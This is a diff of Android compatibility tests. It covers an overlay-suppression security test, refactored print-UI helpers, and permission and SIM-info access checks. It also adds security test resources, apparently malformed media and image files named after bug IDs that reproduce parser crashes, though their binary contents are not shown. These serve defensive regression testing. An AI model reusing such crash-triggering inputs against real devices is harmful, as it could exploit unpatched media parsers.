+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ if (!mUiDevice.isScreenOn()) {
+ mUiDevice.wakeUp();
+ }
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ AppOpsUtils.reset(mContext.getPackageName());
+ }
+
+ private void startUninstall() {
+ Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
+ intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
+ intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+ }
+
+ @SecurityTest
+ @Test
+ public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
+ AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
+
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams(MATCH_PARENT, MATCH_PARENT,
+ TYPE_APPLICATION_OVERLAY, 0, TRANSLUCENT);
+ layoutParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL;
+
+ View[] overlay = new View[1];
+ new Handler(Looper.getMainLooper()).post(() -> {
+ overlay[0] = LayoutInflater.from(mContext).inflate(R.layout.overlay_activity,
+ null);
+ windowManager.addView(overlay[0], layoutParams);
+ });
+
+ try {
+ mUiDevice.wait(Until.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")), TIMEOUT_MS);
+
+ startUninstall();
+
+ long start = System.currentTimeMillis();
+ while (System.currentTimeMillis() - start < TIMEOUT_MS) {
+ try {
+ assertNull(mUiDevice.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")));
+ return;
+ } catch (Throwable e) {
+ Thread.sleep(100);
+ }
+ }
+
+ fail();
+ } finally {
+ windowManager.removeView(overlay[0]);
+ }
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 640139f..70788d7 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -50,14 +50,11 @@
private Context mContext;
private UiDevice mUiDevice;
- private boolean mAutomotive;
@Before
public void setContextAndUiDevice() {
mContext = InstrumentationRegistry.getTargetContext();
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- mAutomotive = mContext.getPackageManager()
- .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
@Before
@@ -100,9 +97,8 @@
}
protected void clickAllowButton() throws Exception {
- mUiDevice.findObject(new UiSelector().resourceId(mAutomotive
- ? "android:id/button1"
- : "com.android.packageinstaller:id/permission_allow_button")).click();
+ mUiDevice.findObject(new UiSelector().resourceId(
+ "com.android.packageinstaller:id/permission_allow_button")).click();
}
private void grantPermissionViaUi() throws Throwable {
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index 359ea11..8e6cef5 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -72,9 +72,11 @@
int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
int yToCut = statusBarHeight;
- // Crop-out the nav bar in both width and height to meet both the phone and the tablet
- xToCut += navigationBarHeight;
- yToCut += navigationBarHeight;
+ if (isLandscape()) {
+ xToCut += navigationBarHeight;
+ } else {
+ yToCut += navigationBarHeight;
+ }
bt = Bitmap.createBitmap(
bt, 0, statusBarHeight, bt.getWidth() - xToCut, bt.getHeight() - yToCut);
@@ -245,4 +247,9 @@
throw new RuntimeException("Failed to run command: " + cmd, e);
}
}
+
+ private boolean isLandscape() {
+ return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation ==
+ Configuration.ORIENTATION_LANDSCAPE;
+ }
}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index 891525f..f4a50d3 100755
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -61,11 +61,10 @@
import android.printservice.PrintJob;
import android.provider.Settings;
import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.Until;
+import android.support.test.uiautomator.UiSelector;
import android.util.Log;
import android.util.SparseArray;
@@ -109,7 +108,7 @@
public abstract class BasePrintTest {
private static final String LOG_TAG = "BasePrintTest";
- protected static final long OPERATION_TIMEOUT_MILLIS = 20000;
+ protected static final long OPERATION_TIMEOUT_MILLIS = 60000;
protected static final String PRINT_JOB_NAME = "Test";
static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
@@ -544,17 +543,6 @@
mCreateActivityCallCounter.reset();
}
- protected UiObject2 findUiObject(BySelector selector) throws UiObjectNotFoundException,
- IOException {
- UiObject2 uiObject = getUiDevice().wait(Until.findObject(selector),
- OPERATION_TIMEOUT_MILLIS);
- if (uiObject == null) {
- dumpWindowHierarchy();
- throw new UiObjectNotFoundException("Cannot find UiObject with selector: " + selector);
- }
- return uiObject;
- }
-
/**
* Wait until the message is shown that indicates that a printer is unavailable.
*
@@ -563,7 +551,8 @@
protected void waitForPrinterUnavailable() throws Exception {
final String printerUnavailableMessage = "This printer isn\'t available right now.";
- UiObject2 message = findUiObject(By.res("com.android.printspooler:id/message"));
+ UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/message"));
if (!message.getText().equals(printerUnavailableMessage)) {
throw new Exception("Wrong message: " + message.getText() + " instead of "
+ printerUnavailableMessage);
@@ -572,11 +561,13 @@
protected void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
try {
- long delay = 100;
+ long delay = 1;
while (true) {
try {
- UiObject2 destinationSpinner = findUiObject(By.res(
- "com.android.printspooler:id/destination_spinner"));
+ UiDevice uiDevice = getUiDevice();
+ UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
+ .resourceId("com.android.printspooler:id/destination_spinner"));
+
destinationSpinner.click();
getUiDevice().waitForIdle();
@@ -584,11 +575,12 @@
try {
Thread.sleep(delay);
} catch (InterruptedException e) {
- // Ignore
+ // ignore
}
- // Try to select printer
- UiObject2 printerOption = findUiObject(By.text(printerName));
+ // try to select printer
+ UiObject printerOption = uiDevice.findObject(
+ new UiSelector().text(printerName));
printerOption.click();
} catch (UiObjectNotFoundException e) {
Log.e(LOG_TAG, "Could not select printer " + printerName, e);
@@ -606,8 +598,8 @@
delay *= 2;
} else {
throw new UiObjectNotFoundException(
- "Could not find printer " + printerName
- + " even though we retried.");
+ "Could find printer " + printerName
+ + " even though we retried");
}
}
} else {
@@ -620,76 +612,115 @@
}
}
- protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException,
- IOException {
- UiObject2 button;
+ protected void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
+ UiObject button;
if (confirm) {
- button = findUiObject(By.res("android:id/button1"));
+ button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
} else {
- button = findUiObject(By.res("android:id/button2"));
+ button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
}
button.click();
}
protected void changeOrientation(String orientation) throws UiObjectNotFoundException,
IOException {
- UiObject2 orientationSpinner = findUiObject(By.res(
- "com.android.printspooler:id/orientation_spinner"));
- orientationSpinner.click();
- UiObject2 orientationOption = findUiObject(By.text(orientation));
- orientationOption.click();
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/orientation_spinner"));
+ orientationSpinner.click();
+ UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
+ orientationOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
public String getOrientation() throws UiObjectNotFoundException, IOException {
- UiObject2 orientationSpinner = findUiObject(By.res(
- "com.android.printspooler:id/orientation_spinner"));
- return orientationSpinner.getText();
+ try {
+ UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/orientation_spinner"));
+ return orientationSpinner.getText();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
- UiObject2 mediaSizeSpinner = findUiObject(By.res(
- "com.android.printspooler:id/paper_size_spinner"));
- mediaSizeSpinner.click();
- UiObject2 mediaSizeOption = findUiObject(By.text(mediaSize));
- mediaSizeOption.click();
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/paper_size_spinner"));
+ mediaSizeSpinner.click();
+ UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
+ mediaSizeOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected void changeColor(String color) throws UiObjectNotFoundException, IOException {
- UiObject2 colorSpinner = findUiObject(By.res("com.android.printspooler:id/color_spinner"));
- colorSpinner.click();
- // The color spinner and the color option both contain the same text, so give the
- // spinner some time to expand
- long delay = 100;
try {
- Thread.sleep(delay);
- } catch (InterruptedException e) {
- // Ignore
+ UiDevice uiDevice = getUiDevice();
+ UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/color_spinner"));
+ colorSpinner.click();
+ UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
+ colorOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
}
- UiObject2 colorOption = findUiObject(By.text(color));
- colorOption.click();
}
public String getColor() throws UiObjectNotFoundException, IOException {
- UiObject2 colorSpinner = findUiObject(By.res("com.android.printspooler:id/color_spinner"));
- return colorSpinner.getText();
+ try {
+ UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/color_spinner"));
+ return colorSpinner.getText();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
- UiObject2 duplexSpinner = findUiObject(By.res(
- "com.android.printspooler:id/duplex_spinner"));
- duplexSpinner.click();
- UiObject2 duplexOption = findUiObject(By.text(duplex));
- duplexOption.click();
+ try {
+ UiDevice uiDevice = getUiDevice();
+ UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/duplex_spinner"));
+ duplexSpinner.click();
+ UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
+ duplexOption.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
- UiObject2 copies = findUiObject(By.res("com.android.printspooler:id/copies_edittext"));
- copies.setText(Integer.valueOf(newCopies).toString());
+ try {
+ UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/copies_edittext"));
+ copies.setText(Integer.valueOf(newCopies).toString());
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected String getCopies() throws UiObjectNotFoundException, IOException {
- UiObject2 copies = findUiObject(By.res("com.android.printspooler:id/copies_edittext"));
- return copies.getText();
+ try {
+ UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/copies_edittext"));
+ return copies.getText();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
@@ -697,13 +728,25 @@
}
public void clickPrintButton() throws UiObjectNotFoundException, IOException {
- UiObject2 printButton = findUiObject(By.res("com.android.printspooler:id/print_button"));
- printButton.click();
+ try {
+ UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/print_button"));
+ printButton.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
protected void clickRetryButton() throws UiObjectNotFoundException, IOException {
- UiObject2 retryButton = findUiObject(By.res("com.android.printspooler:id/action_button"));
- retryButton.click();
+ try {
+ UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/action_button"));
+ retryButton.click();
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
+ }
}
public void dumpWindowHierarchy() throws IOException {
@@ -741,14 +784,14 @@
waitForActivityCreateCallbackCalled(createBefore + 1);
}
- protected void openPrintOptions() throws UiObjectNotFoundException, IOException {
- UiObject2 expandHandle = findUiObject(By.res(
+ protected void openPrintOptions() throws UiObjectNotFoundException {
+ UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/expand_collapse_handle"));
expandHandle.click();
}
- protected void openCustomPrintOptions() throws UiObjectNotFoundException, IOException {
- UiObject2 expandHandle = findUiObject(By.res(
+ protected void openCustomPrintOptions() throws UiObjectNotFoundException {
+ UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/more_options_button"));
expandHandle.click();
}
@@ -926,14 +969,15 @@
}
protected void selectPages(String pages, int totalPages) throws Exception {
- UiObject2 pagesSpinner = findUiObject(By.res(
+ UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/range_options_spinner"));
pagesSpinner.click();
- UiObject2 rangeOption = findUiObject(By.textContains("Range of " + totalPages));
+ UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains("Range of "
+ + totalPages));
rangeOption.click();
- UiObject2 pagesEditText = findUiObject(By.res(
+ UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/page_range_edittext"));
pagesEditText.setText(pages);
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index 200e410..60c6210 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -41,7 +41,9 @@
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
@@ -103,18 +105,23 @@
return PAGESS[2];
}
- UiObject2 pagesEditText = findUiObject(By.res(
- "com.android.printspooler:id/page_range_edittext"));
+ try {
+ UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/page_range_edittext"));
- if (pagesEditText.getText().equals("2")) {
- return PAGESS[1];
+ if (pagesEditText.getText().equals("2")) {
+ return PAGESS[1];
+ }
+
+ if (pagesEditText.getText().equals("1")) {
+ return PAGESS[0];
+ }
+
+ return null;
+ } catch (UiObjectNotFoundException e) {
+ dumpWindowHierarchy();
+ throw e;
}
-
- if (pagesEditText.getText().equals("1")) {
- return PAGESS[0];
- }
-
- return null;
}
@Before
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index a58897b..53c72ee 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -59,8 +59,9 @@
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
import androidx.test.runner.AndroidJUnit4;
@@ -402,8 +403,9 @@
print(adapter);
// Open printer selection dropdown list to display icon on screen
- UiObject2 destinationSpinner = findUiObject(By.res(
- "com.android.printspooler:id/destination_spinner"));
+ UiObject destinationSpinner = UiDevice.getInstance(getInstrumentation())
+ .findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/destination_spinner"));
destinationSpinner.click();
// Get the print service's icon
@@ -623,7 +625,8 @@
});
// Open info activity which executed the code above
- UiObject2 moreInfoButton = findUiObject(By.res("com.android.printspooler:id/more_info"));
+ UiObject moreInfoButton = getUiDevice().findObject(new UiSelector().resourceId(
+ "com.android.printspooler:id/more_info"));
moreInfoButton.click();
// Wait until printer is selected and thereby tracked
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 25e3c0b..5580cda 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -41,8 +41,8 @@
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrinterDiscoverySession;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
import androidx.annotation.NonNull;
import androidx.test.runner.AndroidJUnit4;
@@ -131,7 +131,8 @@
*/
private void selectInAllPrintersActivity(@NonNull String printerName) throws Exception {
while (true) {
- UiObject2 printerItem = findUiObject(By.text(printerName));
+ UiObject printerItem = getUiDevice().findObject(
+ new UiSelector().text(printerName));
if (printerItem.isEnabled()) {
printerItem.click();
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index d48795f..6e67dee 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -33,8 +33,8 @@
import android.print.test.services.PrinterDiscoverySessionCallbacks;
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
import android.text.TextUtils;
import androidx.test.runner.AndroidJUnit4;
@@ -343,7 +343,7 @@
waitForWriteAdapterCallback(1);
// Open destination spinner
- UiObject2 destinationSpinner = findUiObject(By.res(
+ UiObject destinationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
"com.android.printspooler:id/destination_spinner"));
destinationSpinner.click();
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 87e8b3e..756fa76 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -30,8 +30,6 @@
import android.telephony.TelephonyManager;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
import junit.framework.Assert;
import java.util.ArrayList;
@@ -45,7 +43,6 @@
// make cts
// cts-tradefed
// run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
-@CddTest(requirement="7.4.1.1/C-1-1,C-1-2")
public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
private static final String TAG = "BlockedNumberContractTest";
private ContentResolver mContentResolver;
@@ -77,7 +74,6 @@
super.tearDown();
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testProviderInteractionsAsRegularApp_fails() {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -135,7 +131,6 @@
assertNull(mContentResolver.getType(BlockedNumberContract.AUTHORITY_URI));
}
- @CddTest(requirement="7.4.1.1/CC-1-2")
public void testInsertAndBlockCheck_succeeds() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -167,7 +162,6 @@
assertFalse(BlockedNumberContract.isBlocked(mContext, "random string"));
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testUnblock_succeeds() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -187,7 +181,6 @@
assertFalse(BlockedNumberContract.isBlocked(mContext, "1234@abcd.com"));
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testInsert_failsWithInvalidInputs() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -233,7 +226,6 @@
}
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testUpdate_isUnsupported() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -258,7 +250,6 @@
assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testDelete() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -330,7 +321,6 @@
}
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -361,7 +351,6 @@
}
}
- @CddTest(requirement="7.4.1.1/C-1-2")
public void testAccessingNonExistentMethod_fails() throws Exception {
if (!mIsSystemUser) {
Log.i(TAG, "skipping BlockedNumberContractTest");
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
index 2668d4d..a8e83e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
@@ -125,8 +125,7 @@
private boolean supportsHardware() {
final PackageManager pm = getInstrumentation().getContext().getPackageManager();
- return !pm.hasSystemFeature("android.hardware.type.automotive")
- && !pm.hasSystemFeature("android.hardware.type.television")
+ return !pm.hasSystemFeature("android.hardware.type.television")
&& !pm.hasSystemFeature("android.hardware.type.watch");
}
diff --git a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
index b06ddfa..e6c0498 100644
--- a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
+++ b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
@@ -24,6 +24,7 @@
import android.provider.Telephony.Carriers;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
+import android.telephony.SubscriptionManager;
import android.test.InstrumentationTestCase;
import java.lang.reflect.Field;
@@ -95,4 +96,16 @@
fail("No access to current APN");
}
}
+
+ // The sim_info table contains sensitive IDs, and we don't want to expose these without at
+ // least the READ_PHONE_STATE permission (which this test doesn't have).
+ public void testNoAccessToSimInfo() {
+ try {
+ Cursor c = mContentResolver.query(SubscriptionManager.CONTENT_URI,
+ new String[] { SubscriptionManager.ICC_ID }, null, null, null);
+ fail("SecurityException expected");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 7103969..2f402f5 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -50,6 +50,40 @@
<category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
</intent-filter>
</activity>
+
+ <activity
+ android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+ android:label="Test Nano AppBundle customized failure catch activity">
+ <intent-filter>
+ <action android:name="android.intent.action.RUN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
+ <service
+ android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <activity android:name="android.security.cts.ActivityManagerTest$NormalActivity" />
+ <activity android:name="android.security.cts.ActivityManagerTest$MaliciousActivity" />
+ <service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
+
+ <activity
+ android:name="android.security.cts.SkiaJpegDecodingActivity"
+ android:label="Test overflow in libskia JPG processing">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+ </intent-filter>
+ </activity>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 3a879d1..fd1043f 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -23,7 +23,7 @@
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.cts" />
- <option name="runtime-hint" value="1h8m15s" />
+ <option name="runtime-hint" value="1h40m18s" />
<!-- test-timeout unit is ms, value = 15 min -->
<option name="test-timeout" value="900000" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
new file mode 100644
index 0000000..f63f6ef
--- /dev/null
+++ b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
new file mode 100644
index 0000000..68a0d68
--- /dev/null
+++ b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ android:gravity="center"
+ android:orientation="vertical">
+
+ <ImageView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug170240631_ts.mp4 b/tests/tests/security/res/raw/bug170240631_ts.mp4
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug170240631_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_110435401.mid b/tests/tests/security/res/raw/bug_110435401.mid
new file mode 100644
index 0000000..184ab1f
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_110435401.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_113260892_hevc.mp4 b/tests/tests/security/res/raw/bug_113260892_hevc.mp4
new file mode 100644
index 0000000..6dfebba
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_113260892_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_156261521.dng b/tests/tests/security/res/raw/bug_156261521.dng
new file mode 100644
index 0000000..b838844
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_156261521.dng
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23285192.mp3 b/tests/tests/security/res/raw/bug_23285192.mp3
new file mode 100644
index 0000000..b86e4d8
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23285192.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_25928803.mp4 b/tests/tests/security/res/raw/bug_25928803.mp4
new file mode 100644
index 0000000..54d07d5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_25928803.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_26399350_avc.mp4 b/tests/tests/security/res/raw/bug_26399350_avc.mp4
new file mode 100644
index 0000000..e6df897
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_26399350_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_avc.mp4 b/tests/tests/security/res/raw/bug_33090864_avc.mp4
new file mode 100644
index 0000000..f8e2a27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_framelen.mp4 b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
new file mode 100644
index 0000000..ffaa6ac
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
@@ -0,0 +1,4 @@
+45
+3058
+651
+2281
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_33250932_avc.mp4 b/tests/tests/security/res/raw/bug_33250932_avc.mp4
new file mode 100644
